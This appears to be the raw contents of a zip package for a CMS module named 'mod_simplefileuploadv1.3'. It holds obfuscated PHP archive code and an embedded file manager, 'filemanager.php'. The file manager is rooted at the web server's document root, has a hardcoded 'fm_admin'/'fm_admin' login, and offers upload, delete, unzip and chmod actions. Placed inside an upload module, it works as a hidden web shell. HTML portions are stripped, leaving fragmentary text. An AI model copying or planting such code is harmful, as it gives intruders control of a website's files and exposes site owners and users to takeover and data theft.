$this->$q162=fopen($r163,'rb');if(!$this->$q162){$this->$l154[]=$r163.' '.__('is not readable');return false;}$b84=$this->unpackFileArray($u6);$this->closeTmpFile();return $b84;}function showErrors($t165=''){$v166=$this->$l154;if(count($v166)>0){if(!empty($t165))$t165=' ('.$t165.')';$t165=__('Error occurred').$t165.':
    ';foreach($v166 as $t101)$t165.=$t101.'
    ';return $t165;}else return '';}function packFileArray($a167){$b84=true;if(!$this->$q162){$this->$l154[]=__('Invalid file descriptor');return false;}if(!is_array($a167)||count($a167)<=0)return true;for($f89=0;$f89$o156)continue;if(strlen($d59)<=0)continue;if(!file_exists($d59)){$this->$l154[]=__('No file').' '.$d59;continue;}if(!$this->$q162){$this->$l154[]=__('Invalid file descriptor');return false;}if(strlen($d59)<=0){$this->$l154[]=__('Filename').' '.__('is incorrect');;return false;}$d59=str_replace('\\','/',$d59);$x168=$this->makeGoodPath($d59);if(is_file($d59)){if(($n29=fopen($d59,'rb'))==0){$this->$l154[]=__('Mode ').__('is incorrect');}if(($this->$p169==0)){if(!$this->writeHeader($d59,$x168))return false;}while(($s160=fread($n29,512))!=''){$o161=pack('a512',$s160);$this->writeBlock($o161);}fclose($n29);}else $this->writeHeader($d59,$x168);if(@is_dir($d59)){if(!($j91=opendir($d59))){$this->$l154[]=__('Error').': '.__('Directory ').$d59.__('is not readable');continue;}while(false!==($u55=readdir($j91))){if($u55!='.'&&$u55!='..'){$q170=array();if($d59!='.')$q170[]=$d59.'/'.$u55;else $q170[]=$u55;$b84=$this->packFileArray($q170);}}unset($q170);unset($u55);unset($j91);}}return $b84;}function unpackFileArray($u6){$u6=str_replace('\\','/',$u6);if($u6==''||(substr($u6,0,1)!='/'&&substr($u6,0,3)!='../'&&!strpos($u6,':')))$u6='./'.$u6;clearstatcache();while(strlen($o161=$this->readBlock())!=0){if(!$this->readHeader($o161,$k171))return false;if($k171['filename']=='')continue;if($k171['typeflag']=='L'){$d59='';$q172=floor($k171['size']/512);for($f89=0;$f89<$q172;$f89++){$x173=$this->readBlock();$d59.=$x173;}if(($e174=$k171['size']%512)!=0){$x173=$this->readBlock();$d59.=substr($x173,0,$e174);}$o161=$this->readBlock();if(!$this->readHeader($o161,$k171))return false;else $k171['filename']=$d59;return true;}if(($u6!='./')&&($u6!='/')){while(substr($u6,-1)=='/')$u6=substr($u6,0,strlen($u6)-1);if(substr($k171['filename'],0,1)=='/')$k171['filename']=$u6.$k171['filename'];else $k171['filename']=$u6.'/'.$k171['filename'];}if(file_exists($k171['filename'])){if((@is_dir($k171['filename']))&&($k171['typeflag']=='')){$this->$l154[]=__('File ').$k171['filename'].__(' already exists').__(' as folder');return false;}if((is_file($k171['filename']))&&($k171['typeflag']=='5')){$this->$l154[]=__('Cannot create directory').'. '.__('File ').$k171['filename'].__(' already exists');return false;}if(!is_writeable($k171['filename'])){$this->$l154[]=__('Cannot write to file').'. '.__('File ').$k171['filename'].__(' already exists');return false;}}elseif(($this->dirCheck(($k171['typeflag']=='5'?$k171['filename']:dirname($k171['filename']))))!=1){$this->$l154[]=__('Cannot create directory').' '.__(' for ').$k171['filename'];return false;}if($k171['typeflag']=='5'){if(!file_exists($k171['filename'])){if(!mkdir($k171['filename'],0777)){$this->$l154[]=__('Cannot create directory').' '.$k171['filename'];return false;}}}else{if(($r132=fopen($k171['filename'],'wb'))==0){$this->$l154[]=__('Cannot write to file').' '.$k171['filename'];return false;}else{$q172=floor($k171['size']/512);for($f89=0;$f89<$q172;$f89++){$x173=$this->readBlock();fwrite($r132,$x173,512);}if(($k171['size']%512)!=0){$x173=$this->readBlock();fwrite($r132,$x173,($k171['size']%512));}fclose($r132);touch($k171['filename'],$k171['time']);}clearstatcache();if(filesize($k171['filename'])!=$k171['size']){$this->$l154[]=__('Size of file').' '.$k171['filename'].' '.__('is incorrect');return false;}}if(($h175=dirname($k171['filename']))==$k171['filename'])$h175='';if((substr($k171['filename'],0,1)=='/')&&($h175==''))$h175='/';$this->$c176[]=$h175;$this->$q177[]=$k171['filename'];}return true;}function dirCheck($u55){$a178=dirname($u55);if((@is_dir($u55))or($u55==''))return true;if(($a178!=$u55)and($a178!='')and(!$this->dirCheck($a178)))return false;if(!mkdir($u55,0777)){$this->$l154[]=__('Cannot create directory').' '.$u55;return false;}return true;}function readHeader($o161,&$k171){if(strlen($o161)==0){$k171['filename']='';return true;}if(strlen($o161)!=512){$k171['filename']='';$this->__('Invalid block size').': '.strlen($o161);return false;}$i179=0;for($f89=0;$f89<148;$f89++)$i179+=ord(substr($o161,$f89,1));for($f89=148;$f89<156;$f89++)$i179+=ord(' ');for($f89=156;$f89<512;$f89++)$i179+=ord(substr($o161,$f89,1));$t180=unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor',$o161);$k171['checksum']=OctDec(trim($t180['checksum']));if($k171['checksum']!=$i179){$k171['filename']='';if(($i179==256)&&($k171['checksum']==0))return true;$this->$l154[]=__('Error checksum for file ').$t180['filename'];return false;}if(($k171['typeflag']=$t180['typeflag'])=='5')$k171['size']=0;$k171['filename']=trim($t180['filename']);$k171['mode']=OctDec(trim($t180['mode']));$k171['user_id']=OctDec(trim($t180['user_id']));$k171['group_id']=OctDec(trim($t180['group_id']));$k171['size']=OctDec(trim($t180['size']));$k171['time']=OctDec(trim($t180['time']));return true;}function writeHeader($d59,$x168){$k181='a100a8a8a8a12A12';$l182='a1a100a6a2a32a32a8a8a155a12';if(strlen($x168)<=0)$x168=$d59;$c183=$this->makeGoodPath($x168);if(strlen($c183)>99){$a184=pack($k181,'././LongLink',0,0,0,sprintf('%11s ',DecOct(strlen($c183))),0);$h185=pack($l182,'L','','','','','','','','','');$i179=0;for($f89=0;$f89<148;$f89++)$i179+=ord(substr($a184,$f89,1));for($f89=148;$f89<156;$f89++)$i179+=ord(' ');for($f89=156,$a90=0;$f89<512;$f89++,$a90++)$i179+=ord(substr($h185,$a90,1));$this->writeBlock($a184,148);$i179=sprintf('%6s ',DecOct($i179));$o161=pack('a8',$i179);$this->writeBlock($o161,8);$this->writeBlock($h185,356);$s186=$this->makeGoodPath($c183);$f89=0;while(($s160=substr($s186,(($f89++)*512),512))!=''){$o161=pack('a512',$s160);$this->writeBlock($o161);}return true;}$b187=stat($d59);if(@is_dir($d59)){$v188='5';$a49=sprintf('%11s ',DecOct(0));}else{$v188='';clearstatcache();$a49=sprintf('%11s ',DecOct(filesize($d59)));}$a184=pack($k181,$c183,sprintf('%6s ',DecOct(fileperms($d59))),sprintf('%6s ',DecOct($b187[4])),sprintf('%6s ',DecOct($b187[5])),$a49,sprintf('%11s',DecOct(filemtime($d59))));$h185=pack($l182,$v188,'','','','','','','','','');$i179=0;for($f89=0;$f89<148;$f89++)$i179+=ord(substr($a184,$f89,1));for($f89=148;$f89<156;$f89++)$i179+=ord(' ');for($f89=156,$a90=0;$f89<512;$f89++,$a90++)$i179+=ord(substr($h185,$a90,1));$this->writeBlock($a184,148);$i179=sprintf('%6s ',DecOct($i179));$o161=pack('a8',$i179);$this->writeBlock($o161,8);$this->writeBlock($h185,356);return true;}function openWrite(){if($this->$y158)$this->$q162=gzopen($this->$o156,'wb9f');else $this->$q162=fopen($this->$o156,'wb');if(!($this->$q162)){$this->$l154[]=__('Cannot write to file').' '.$this->$o156;return false;}return true;}function readBlock(){if(is_resource($this->$q162)){if($this->$y158)$q189=gzread($this->$q162,512);else $q189=fread($this->$q162,512);}else $q189='';return $q189;}function writeBlock($q164,$p190=0){if(is_resource($this->$q162)){if($p190===0){if($this->$y158)gzputs($this->$q162,$q164);else fputs($this->$q162,$q164);}else{if($this->$y158)gzputs($this->$q162,$q164,$p190);else fputs($this->$q162,$q164,$p190);}}}function closeTmpFile(){if(is_resource($this->$q162)){if($this->$y158)gzclose($this->$q162);else fclose($this->$q162);$this->$q162=0;}}function makeGoodPath($u6){if(strlen($u6)>0){$u6=str_replace('\\','/',$u6);$p191=explode('/',$u6);$v31=count($p191)-1;for($f89=$v31;$f89>=0;$f89--){if($p191[$f89]=='.'){}elseif($p191[$f89]=='..'){$f89--;}elseif(($p191[$f89]=='')and($f89!=$v31)and($f89!=0)){}else $b84=$p191[$f89].($f89!=$v31?'/'.$b84:'');}}else $b84='';return $b84;}}PKYy>\]]1mod_simplefileuploadv1.3/elements/filemanager.phpnuW+A 'Password', 'Username2' => 'Password2', ...) $auth_users = array( 'fm_admin' => 'fm_admin', ); // Enable highlight.js (https://highlightjs.org/) on view's page $use_highlightjs = true; // highlight.js style $highlightjs_style = 'vs'; // Default timezone for date() and time() - http://php.net/manual/en/timezones.php $default_timezone = 'Europe/Minsk'; // UTC+3 // Root path for file manager $root_path = $_SERVER['DOCUMENT_ROOT']; // Root url for links in file manager.Relative to $http_host. Variants: '', 'path/to/subfolder' // Will not working if $root_path will be outside of server document root $root_url = ''; // Server hostname. Can set manually if wrong $http_host = $_SERVER['HTTP_HOST']; // input encoding for iconv $iconv_input_encoding = 'CP1251'; // date() format for file modification date $datetime_format = 'd.m.y H:i'; //--- EDIT BELOW CAREFULLY OR DO NOT EDIT AT ALL // if fm included if (defined('FM_EMBED')) { $use_auth = false; } else { @set_time_limit(600); date_default_timezone_set($default_timezone); ini_set('default_charset', 'UTF-8'); if (version_compare(PHP_VERSION, '5.6.0', '<') && function_exists('mb_internal_encoding')) { mb_internal_encoding('UTF-8'); } if (function_exists('mb_regex_encoding')) { mb_regex_encoding('UTF-8'); } session_cache_limiter(''); session_name('filemanager'); session_start(); } if (empty($auth_users)) { $use_auth = false; } $is_https = isset($_SERVER['HTTPS']) && ($_SERVER['HTTPS'] == 'on' || $_SERVER['HTTPS'] == 1) || isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https'; // clean and check $root_path $root_path = rtrim($root_path, '\\/'); $root_path = str_replace('\\', '/', $root_path); if (!@is_dir($root_path)) { echo sprintf('

    Root path "%s" not found!

    ', fm_enc($root_path)); exit; } // clean $root_url $root_url = fm_clean_path($root_url); // abs path for site defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path); defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : '')); defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']); // logout if (isset($_GET['logout'])) { unset($_SESSION['logged']); fm_redirect(FM_SELF_URL); } // Show image here if (isset($_GET['img'])) { fm_show_image($_GET['img']); } // Auth if ($use_auth) { if (isset($_SESSION['logged'], $auth_users[$_SESSION['logged']])) { // Logged } elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'])) { // Logging In sleep(1); if (isset($auth_users[$_POST['fm_usr']]) && $_POST['fm_pwd'] === $auth_users[$_POST['fm_usr']]) { $_SESSION['logged'] = $_POST['fm_usr']; fm_set_msg('You are logged in'); fm_redirect(FM_SELF_URL . '?p='); } else { unset($_SESSION['logged']); fm_set_msg('Wrong password', 'error'); fm_redirect(FM_SELF_URL); } } else { // Form unset($_SESSION['logged']); fm_show_header(); fm_show_message(); ?>
    %s
    deleted' : 'File %s deleted'; fm_set_msg(sprintf($msg, fm_enc($del))); } else { $msg = $is_dir ? 'Folder %s not deleted' : 'File %s not deleted'; fm_set_msg(sprintf($msg, fm_enc($del)), 'error'); } } else { fm_set_msg('Wrong file or folder name', 'error'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Create folder if (isset($_GET['new'])) { $new = strip_tags($_GET['new']); // remove unwanted characters from folder name $new = fm_clean_path($new); $new = str_replace('/', '', $new); if ($new != '' && $new != '..' && $new != '.') { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if (fm_mkdir($path . '/' . $new, false) === true) { fm_set_msg(sprintf('Folder %s created', fm_enc($new))); } elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) { fm_set_msg(sprintf('Folder %s already exists', fm_enc($new)), 'alert'); } else { fm_set_msg(sprintf('Folder %s not created', fm_enc($new)), 'error'); } } else { fm_set_msg('Wrong folder name', 'error'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Copy folder / file if (isset($_GET['copy'], $_GET['finish'])) { // from $copy = $_GET['copy']; $copy = fm_clean_path($copy); // empty path if ($copy == '') { fm_set_msg('Source path not defined', 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // abs path from $from = FM_ROOT_PATH . '/' . $copy; // abs path to $dest = FM_ROOT_PATH; if (FM_PATH != '') { $dest .= '/' . FM_PATH; } $dest .= '/' . basename($from); // move? $move = isset($_GET['move']); // copy/move if ($from != $dest) { $msg_from = trim(FM_PATH . '/' . basename($from), '/'); if ($move) { $rename = fm_rename($from, $dest); if ($rename) { fm_set_msg(sprintf('Moved from %s to %s', fm_enc($copy), fm_enc($msg_from))); } elseif ($rename === null) { fm_set_msg('File or folder with this path already exists', 'alert'); } else { fm_set_msg(sprintf('Error while moving from %s to %s', fm_enc($copy), fm_enc($msg_from)), 'error'); } } else { if (fm_rcopy($from, $dest)) { fm_set_msg(sprintf('Copyied from %s to %s', fm_enc($copy), fm_enc($msg_from))); } else { fm_set_msg(sprintf('Error while copying from %s to %s', fm_enc($copy), fm_enc($msg_from)), 'error'); } } } else { fm_set_msg('Paths must be not equal', 'alert'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Mass copy files/ folders if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish'])) { // from $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // to $copy_to_path = FM_ROOT_PATH; $copy_to = fm_clean_path($_POST['copy_to']); if ($copy_to != '') { $copy_to_path .= '/' . $copy_to; } if ($path == $copy_to_path) { fm_set_msg('Paths must be not equal', 'alert'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } if (!is_dir($copy_to_path)) { if (!fm_mkdir($copy_to_path, true)) { fm_set_msg('Unable to create destination folder', 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } } // move? $move = isset($_POST['move']); // copy/move $errors = 0; $files = $_POST['file']; if (is_array($files) && count($files)) { foreach ($files as $f) { if ($f != '') { // abs path from $from = $path . '/' . $f; // abs path to $dest = $copy_to_path . '/' . $f; // do if ($move) { $rename = fm_rename($from, $dest); if ($rename === false) { $errors++; } } else { if (!fm_rcopy($from, $dest)) { $errors++; } } } } if ($errors == 0) { $msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied'; fm_set_msg($msg); } else { $msg = $move ? 'Error while moving items' : 'Error while copying items'; fm_set_msg($msg, 'error'); } } else { fm_set_msg('Nothing selected', 'alert'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Rename if (isset($_GET['ren'], $_GET['to'])) { // old name $old = $_GET['ren']; $old = fm_clean_path($old); $old = str_replace('/', '', $old); // new name $new = $_GET['to']; $new = fm_clean_path($new); $new = str_replace('/', '', $new); // path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // rename if ($old != '' && $new != '') { if (fm_rename($path . '/' . $old, $path . '/' . $new)) { fm_set_msg(sprintf('Renamed from %s to %s', fm_enc($old), fm_enc($new))); } else { fm_set_msg(sprintf('Error while renaming from %s to %s', fm_enc($old), fm_enc($new)), 'error'); } } else { fm_set_msg('Names not set', 'error'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Download if (isset($_GET['dl'])) { $dl = $_GET['dl']; $dl = fm_clean_path($dl); $dl = str_replace('/', '', $dl); $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($dl != '' && is_file($path . '/' . $dl)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($path . '/' . $dl) . '"'); header('Content-Transfer-Encoding: binary'); header('Connection: Keep-Alive'); header('Expires: 0'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Pragma: public'); header('Content-Length: ' . filesize($path . '/' . $dl)); readfile($path . '/' . $dl); exit; } else { fm_set_msg('File not found', 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } } // Upload if (isset($_POST['upl'])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $uploads = 0; $total = count($_FILES['upload']['name']); for ($i = 0; $i < $total; $i++) { $tmp_name = $_FILES['upload']['tmp_name'][$i]; if (empty($_FILES['upload']['error'][$i]) && !empty($tmp_name) && $tmp_name != 'none') { if (move_uploaded_file($tmp_name, $path . '/' . $_FILES['upload']['name'][$i])) { $uploads++; } else { $errors++; } } } if ($errors == 0 && $uploads > 0) { fm_set_msg(sprintf('All files uploaded to %s', fm_enc($path))); } elseif ($errors == 0 && $uploads == 0) { fm_set_msg('Nothing uploaded', 'alert'); } else { fm_set_msg(sprintf('Error while uploading files. Uploaded files: %s', $uploads), 'error'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Mass deleting if (isset($_POST['group'], $_POST['delete'])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $files = $_POST['file']; if (is_array($files) && count($files)) { foreach ($files as $f) { if ($f != '') { $new_path = $path . '/' . $f; if (!fm_rdelete($new_path)) { $errors++; } } } if ($errors == 0) { fm_set_msg('Selected files and folder deleted'); } else { fm_set_msg('Error while deleting items', 'error'); } } else { fm_set_msg('Nothing selected', 'alert'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Pack files if (isset($_POST['group'], $_POST['zip'])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if (!class_exists('ZipArchive')) { fm_set_msg('Operations with archives are not available', 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } $files = $_POST['file']; if (!empty($files)) { chdir($path); if (count($files) == 1) { $one_file = reset($files); $one_file = basename($one_file); $zipname = $one_file . '_' . date('ymd_His') . '.zip'; } else { $zipname = 'archive_' . date('ymd_His') . '.zip'; } $zipper = new FM_Zipper(); $res = $zipper->create($zipname, $files); if ($res) { fm_set_msg(sprintf('Archive %s created', fm_enc($zipname))); } else { fm_set_msg('Archive not created', 'error'); } } else { fm_set_msg('Nothing selected', 'alert'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Unpack if (isset($_GET['unzip'])) { $unzip = $_GET['unzip']; $unzip = fm_clean_path($unzip); $unzip = str_replace('/', '', $unzip); $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if (!class_exists('ZipArchive')) { fm_set_msg('Operations with archives are not available', 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } if ($unzip != '' && is_file($path . '/' . $unzip)) { $zip_path = $path . '/' . $unzip; //to folder $tofolder = ''; if (isset($_GET['tofolder'])) { $tofolder = pathinfo($zip_path, PATHINFO_FILENAME); if (fm_mkdir($path . '/' . $tofolder, true)) { $path .= '/' . $tofolder; } } $zipper = new FM_Zipper(); $res = $zipper->unzip($zip_path, $path); if ($res) { fm_set_msg('Archive unpacked'); } else { fm_set_msg('Archive not unpacked', 'error'); } } else { fm_set_msg('File not found', 'error'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Change Perms (not for Windows) if (isset($_POST['chmod']) && !FM_IS_WIN) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $file = $_POST['chmod']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || (!is_file($path . '/' . $file) && !is_dir($path . '/' . $file))) { fm_set_msg('File not found', 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } $mode = 0; if (!empty($_POST['ur'])) { $mode |= 0400; } if (!empty($_POST['uw'])) { $mode |= 0200; } if (!empty($_POST['ux'])) { $mode |= 0100; } if (!empty($_POST['gr'])) { $mode |= 0040; } if (!empty($_POST['gw'])) { $mode |= 0020; } if (!empty($_POST['gx'])) { $mode |= 0010; } if (!empty($_POST['or'])) { $mode |= 0004; } if (!empty($_POST['ow'])) { $mode |= 0002; } if (!empty($_POST['ox'])) { $mode |= 0001; } if (@chmod($path . '/' . $file, $mode)) { fm_set_msg('Permissions changed'); } else { fm_set_msg('Permissions not changed', 'error'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } /*************************** /ACTIONS ***************************/ // get current path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // check path if (!is_dir($path)) { fm_redirect(FM_SELF_URL . '?p='); } // get parent folder $parent = fm_get_parent_path(FM_PATH); $objects = is_readable($path) ? scandir($path) : array(); $folders = array(); $files = array(); if (is_array($objects)) { foreach ($objects as $file) { if ($file == '.' || $file == '..') { continue; } $new_path = $path . '/' . $file; if (is_file($new_path)) { $files[] = $file; } elseif (is_dir($new_path) && $file != '.' && $file != '..') { $folders[] = $file; } } } if (!empty($files)) { natcasesort($files); } if (!empty($folders)) { natcasesort($folders); } // upload form if (isset($_GET['upload'])) { fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path ?>

    Uploading files

    Destination folder:







      Cancel

    Copying

    ' . PHP_EOL; } $copy_files_enc = array_map('fm_enc', $copy_files); ?>

    Files: , ', $copy_files_enc) ?>

    Source folder:
    /

      Cancel

    Copying

    Source path:
    Destination folder:

    Copy   Move   Cancel

    Select folder:

    ""

    Full path:
    File size: = 1000): ?> ()
    MIME-type:
    Files in archive:
    Total size:
    Size in archive:
    Compression: %
    '; } // Text info if ($is_text) { $is_utf8 = fm_is_utf8($content); if (function_exists('iconv')) { if (!$is_utf8) { $content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content); } } echo 'Charset: ' . ($is_utf8 ? 'utf-8' : '8 bit') . '
    '; } ?>

    Download   Open   Unpack   Unpack to folder   Back

    '; foreach ($filenames as $fn) { if ($fn['folder']) { echo '' . fm_enc($fn['name']) . '
    '; } else { echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')
    '; } } echo ''; } else { echo '

    Error while fetching archive info

    '; } } elseif ($is_image) { // Image content if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico'))) { echo '

    '; } } elseif ($is_audio) { // Audio content echo '

    '; } elseif ($is_video) { // Video content echo '
    '; } elseif ($is_text) { if (FM_USE_HIGHLIGHTJS) { // highlight $hljs_classes = array( 'shtml' => 'xml', 'htaccess' => 'apache', 'phtml' => 'php', 'lock' => 'json', 'svg' => 'xml', ); $hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext; if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file)) { $hljs_class = 'nohighlight'; } $content = '
    ' . fm_enc($content) . '
    '; } elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) { // php highlight $content = highlight_string($content, true); } else { $content = '
    ' . fm_enc($content) . '
    '; } echo $content; } ?>

    Change Permissions

    Full path:

    Owner Group Other
    Read
    Write
    Execute

      Cancel

    '?'); $group = array('name' => '?'); } ?> '?'); $group = array('name' => '?'); } ?>
    NameSize Modified PermsOwner
    ..
    ' . fm_enc(readlink($path . '/' . $f)) . '' : '') ?>
    Folder
    ' . fm_enc(readlink($path . '/' . $f)) . '' : '') ?>
    Folder is empty
    Full size: , files: , folders:

    Select all   Unselect all   Invert selection

    = $time1 && $upd) { return false; } } $ok = copy($f1, $f2); if ($ok) { touch($f2, $time1); } return $ok; } /** * Get mime type * @param string $file_path * @return mixed|string */ function fm_get_mime_type($file_path) { if (function_exists('finfo_open')) { $finfo = finfo_open(FILEINFO_MIME_TYPE); $mime = finfo_file($finfo, $file_path); finfo_close($finfo); return $mime; } elseif (function_exists('mime_content_type')) { return mime_content_type($file_path); } elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) { $file = escapeshellarg($file_path); $mime = shell_exec('file -bi ' . $file); return $mime; } else { return '--'; } } /** * HTTP Redirect * @param string $url * @param int $code */ function fm_redirect($url, $code = 302) { header('Location: ' . $url, true, $code); exit; } /** * Clean path * @param string $path * @return string */ function fm_clean_path($path) { $path = trim($path); $path = trim($path, '\\/'); $path = str_replace(array('../', '..\\'), '', $path); if ($path == '..') { $path = ''; } return str_replace('\\', '/', $path); } /** * Get parent path * @param string $path * @return bool|string */ function fm_get_parent_path($path) { $path = fm_clean_path($path); if ($path != '') { $array = explode('/', $path); if (count($array) > 1) { $array = array_slice($array, 0, -1); return implode('/', $array); } return ''; } return false; } /** * Get nice filesize * @param int $size * @return string */ function fm_get_filesize($size) { if ($size < 1000) { return sprintf('%s B', $size); } elseif (($size / 1024) < 1000) { return sprintf('%s KiB', round(($size / 1024), 2)); } elseif (($size / 1024 / 1024) < 1000) { return sprintf('%s MiB', round(($size / 1024 / 1024), 2)); } elseif (($size / 1024 / 1024 / 1024) < 1000) { return sprintf('%s GiB', round(($size / 1024 / 1024 / 1024), 2)); } else { return sprintf('%s TiB', round(($size / 1024 / 1024 / 1024 / 1024), 2)); } } /** * Get info about zip archive * @param string $path * @return array|bool */ function fm_get_zif_info($path) { if (function_exists('zip_open')) { $arch = zip_open($path); if ($arch) { $filenames = array(); while ($zip_entry = zip_read($arch)) { $zip_name = zip_entry_name($zip_entry); $zip_folder = substr($zip_name, -1) == '/'; $filenames[] = array( 'name' => $zip_name, 'filesize' => zip_entry_filesize($zip_entry), 'compressed_size' => zip_entry_compressedsize($zip_entry), 'folder' => $zip_folder //'compression_method' => zip_entry_compressionmethod($zip_entry), ); } zip_close($arch); return $filenames; } } return false; } /** * Encode html entities * @param string $text * @return string */ function fm_enc($text) { return htmlspecialchars($text, ENT_QUOTES, 'UTF-8'); } /** * Save message in session * @param string $msg * @param string $status */ function fm_set_msg($msg, $status = 'ok') { $_SESSION['message'] = $msg; $_SESSION['status'] = $status; } /** * Check if string is in UTF-8 * @param string $string * @return int */ function fm_is_utf8($string) { return preg_match('//u', $string); } /** * Convert file name to UTF-8 in Windows * @param string $filename * @return string */ function fm_convert_win($filename) { if (FM_IS_WIN && function_exists('iconv')) { $filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename); } return $filename; } /** * Get CSS classname for file * @param string $path * @return string */ function fm_get_file_icon_class($path) { // get extension $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION)); switch ($ext) { case 'ico': case 'gif': case 'jpg': case 'jpeg': case 'jpc': case 'jp2': case 'jpx': case 'xbm': case 'wbmp': case 'png': case 'bmp': case 'tif': case 'tiff': $img = 'icon-file_image'; break; case 'txt': case 'css': case 'ini': case 'conf': case 'log': case 'htaccess': case 'passwd': case 'ftpquota': case 'sql': case 'js': case 'json': case 'sh': case 'config': case 'twig': case 'tpl': case 'md': case 'gitignore': case 'less': case 'sass': case 'scss': case 'c': case 'cpp': case 'cs': case 'py': case 'map': case 'lock': case 'dtd': $img = 'icon-file_text'; break; case 'zip': case 'rar': case 'gz': case 'tar': case '7z': $img = 'icon-file_zip'; break; case 'php': case 'php4': case 'php5': case 'phps': case 'phtml': $img = 'icon-file_php'; break; case 'htm': case 'html': case 'shtml': case 'xhtml': $img = 'icon-file_html'; break; case 'xml': case 'xsl': case 'svg': $img = 'icon-file_code'; break; case 'wav': case 'mp3': case 'mp2': case 'm4a': case 'aac': case 'ogg': case 'oga': case 'wma': case 'mka': case 'flac': case 'ac3': case 'tds': $img = 'icon-file_music'; break; case 'm3u': case 'm3u8': case 'pls': case 'cue': $img = 'icon-file_playlist'; break; case 'avi': case 'mpg': case 'mpeg': case 'mp4': case 'm4v': case 'flv': case 'f4v': case 'ogm': case 'ogv': case 'mov': case 'mkv': case '3gp': case 'asf': case 'wmv': $img = 'icon-file_film'; break; case 'eml': case 'msg': $img = 'icon-file_outlook'; break; case 'xls': case 'xlsx': $img = 'icon-file_excel'; break; case 'csv': $img = 'icon-file_csv'; break; case 'doc': case 'docx': $img = 'icon-file_word'; break; case 'ppt': case 'pptx': $img = 'icon-file_powerpoint'; break; case 'ttf': case 'ttc': case 'otf': case 'woff':case 'woff2': case 'eot': case 'fon': $img = 'icon-file_font'; break; case 'pdf': $img = 'icon-file_pdf'; break; case 'psd': $img = 'icon-file_photoshop'; break; case 'ai': case 'eps': $img = 'icon-file_illustrator'; break; case 'fla': $img = 'icon-file_flash'; break; case 'swf': $img = 'icon-file_swf'; break; case 'exe': case 'msi': $img = 'icon-file_application'; break; case 'bat': $img = 'icon-file_terminal'; break; default: $img = 'icon-document'; } return $img; } /** * Get image files extensions * @return array */ function fm_get_image_exts() { return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd'); } /** * Get video files extensions * @return array */ function fm_get_video_exts() { return array('webm', 'mp4', 'm4v', 'ogm', 'ogv', 'mov'); } /** * Get audio files extensions * @return array */ function fm_get_audio_exts() { return array('wav', 'mp3', 'ogg', 'm4a'); } /** * Get text file extensions * @return array */ function fm_get_text_exts() { return array( 'txt', 'css', 'ini', 'conf', 'log', 'htaccess', 'passwd', 'ftpquota', 'sql', 'js', 'json', 'sh', 'config', 'php', 'php4', 'php5', 'phps', 'phtml', 'htm', 'html', 'shtml', 'xhtml', 'xml', 'xsl', 'm3u', 'm3u8', 